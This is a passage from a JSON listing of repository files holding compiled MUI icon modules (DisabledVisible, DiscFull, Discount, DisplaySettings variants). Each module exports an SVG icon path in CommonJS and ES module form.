    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 12.34c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89M17 13c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5S15.62 15 17 15s2.5 1.12 2.5 2.5S18.38 20 17 20m1.5-2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'DisabledVisibleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 15c-1.95 0-3.76.98-4.75 2.5.99 1.52 2.8 2.5 4.75 2.5s3.76-.98 4.75-2.5c-.99-1.52-2.8-2.5-4.75-2.5m0 4c-.83 0-1.5-.67-1.5-1.5S16.17 16 17 16s1.5.67 1.5 1.5S17.83 19 17 19\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 15c1.95 0 3.76.98 4.75 2.5-.99 1.52-2.8 2.5-4.75 2.5s-3.76-.98-4.75-2.5c.99-1.52 2.8-2.5 4.75-2.5m0-2c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 6c-.83 0-1.5-.67-1.5-1.5S16.17 16 17 16s1.5.67 1.5 1.5S17.83 19 17 19m4.99-6.66c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89\"\n}, \"1\")], 'DisabledVisibleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 15c-1.95 0-3.76.98-4.75 2.5.99 1.52 2.8 2.5 4.75 2.5s3.76-.98 4.75-2.5c-.99-1.52-2.8-2.5-4.75-2.5m0 4c-.83 0-1.5-.67-1.5-1.5S16.17 16 17 16s1.5.67 1.5 1.5S17.83 19 17 19\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 15c1.95 0 3.76.98 4.75 2.5-.99 1.52-2.8 2.5-4.75 2.5s-3.76-.98-4.75-2.5c.99-1.52 2.8-2.5 4.75-2.5m0-2c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 6c-.83 0-1.5-.67-1.5-1.5S16.17 16 17 16s1.5.67 1.5 1.5S17.83 19 17 19m4.99-6.66c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89\"\n}, \"1\")], 'DisabledVisibleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFull.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 16h2v-2h-2zm0-9v5h2V7zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DiscFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFull.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 16h2v-2h-2zm0-9v5h2V7zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DiscFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h2v5h-2zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m10-4h2v2h-2zm-10-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DiscFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h2v5h-2zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m10-4h2v2h-2zm-10-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DiscFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 16h2v-2h-2zm0-8v3c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1M10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DiscFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 16h2v-2h-2zm0-8v3c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1M10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DiscFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 16h2v-2h-2zm0-9v5h2V7zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DiscFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 16h2v-2h-2zm0-9v5h2V7zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DiscFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 14h2v2h-2zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M20 7h2v5h-2zm-10 3c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'DiscFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscFullTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 14h2v2h-2zM10 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M20 7h2v5h-2zm-10 3c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'DiscFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Discount.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.38 17.41c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83L12.63.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM7.25 3c.69 0 1.25.56 1.25 1.25S7.94 5.5 7.25 5.5 6 4.94 6 4.25 6.56 3 7.25 3\"\n}, \"1\")], 'Discount');"
  },
  {
    "path": "packages/mui-icons-material/lib/Discount.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.38 17.41c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83L12.63.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM7.25 3c.69 0 1.25.56 1.25 1.25S7.94 5.5 7.25 5.5 6 4.94 6 4.25 6.56 3 7.25 3\"\n}, \"1\")], 'Discount');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.38 17.41c.39.39.9.59 1.41.59s1.02-.2 1.41-.59l6.21-6.21c.78-.78.78-2.05 0-2.83L12.62.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM5 2h6.21L19 9.79 12.79 16 5 8.21z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.25\",\n  cy: \"4.25\",\n  r: \"1.25\"\n}, \"2\")], 'DiscountOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.38 17.41c.39.39.9.59 1.41.59s1.02-.2 1.41-.59l6.21-6.21c.78-.78.78-2.05 0-2.83L12.62.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM5 2h6.21L19 9.79 12.79 16 5 8.21z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.25\",\n  cy: \"4.25\",\n  r: \"1.25\"\n}, \"2\")], 'DiscountOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.38 17.41c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83L12.63.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM7.25 3c.69 0 1.25.56 1.25 1.25S7.94 5.5 7.25 5.5 6 4.94 6 4.25 6.56 3 7.25 3\"\n}, \"1\")], 'DiscountRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.38 17.41c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83L12.63.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM7.25 3c.69 0 1.25.56 1.25 1.25S7.94 5.5 7.25 5.5 6 4.94 6 4.25 6.56 3 7.25 3\"\n}, \"1\")], 'DiscountRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.79 21 3 11.21v2.83l9.79 9.79 9.04-9.04-1.42-1.41z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 9.04 9.79 9.79 9.04-9.04L12.04 0H3zM7.25 3c.69 0 1.25.56 1.25 1.25S7.94 5.5 7.25 5.5 6 4.94 6 4.25 6.56 3 7.25 3\"\n}, \"1\")], 'DiscountSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.79 21 3 11.21v2.83l9.79 9.79 9.04-9.04-1.42-1.41z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 9.04 9.79 9.79 9.04-9.04L12.04 0H3zM7.25 3c.69 0 1.25.56 1.25 1.25S7.94 5.5 7.25 5.5 6 4.94 6 4.25 6.56 3 7.25 3\"\n}, \"1\")], 'DiscountSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.79 11.21 2H5v6.21L12.79 16zM7.25 5.5C6.56 5.5 6 4.94 6 4.25S6.56 3 7.25 3s1.25.56 1.25 1.25S7.94 5.5 7.25 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.38 17.41c.39.39.9.59 1.41.59s1.02-.2 1.41-.59l6.21-6.21c.78-.78.78-2.05 0-2.83L12.62.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM5 2h6.21L19 9.79 12.79 16 5 8.21z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.25\",\n  cy: \"4.25\",\n  r: \"1.25\"\n}, \"3\")], 'DiscountTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiscountTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.79 11.21 2H5v6.21L12.79 16zM7.25 5.5C6.56 5.5 6 4.94 6 4.25S6.56 3 7.25 3s1.25.56 1.25 1.25S7.94 5.5 7.25 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.79 21 3 11.21v2c0 .53.21 1.04.59 1.41l7.79 7.79c.78.78 2.05.78 2.83 0l6.21-6.21c.78-.78.78-2.05 0-2.83z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.38 17.41c.39.39.9.59 1.41.59s1.02-.2 1.41-.59l6.21-6.21c.78-.78.78-2.05 0-2.83L12.62.58C12.25.21 11.74 0 11.21 0H5C3.9 0 3 .9 3 2v6.21c0 .53.21 1.04.59 1.41zM5 2h6.21L19 9.79 12.79 16 5 8.21z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.25\",\n  cy: \"4.25\",\n  r: \"1.25\"\n}, \"3\")], 'DiscountTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettings.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettings');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettings.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettings');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsRounded.mjs",
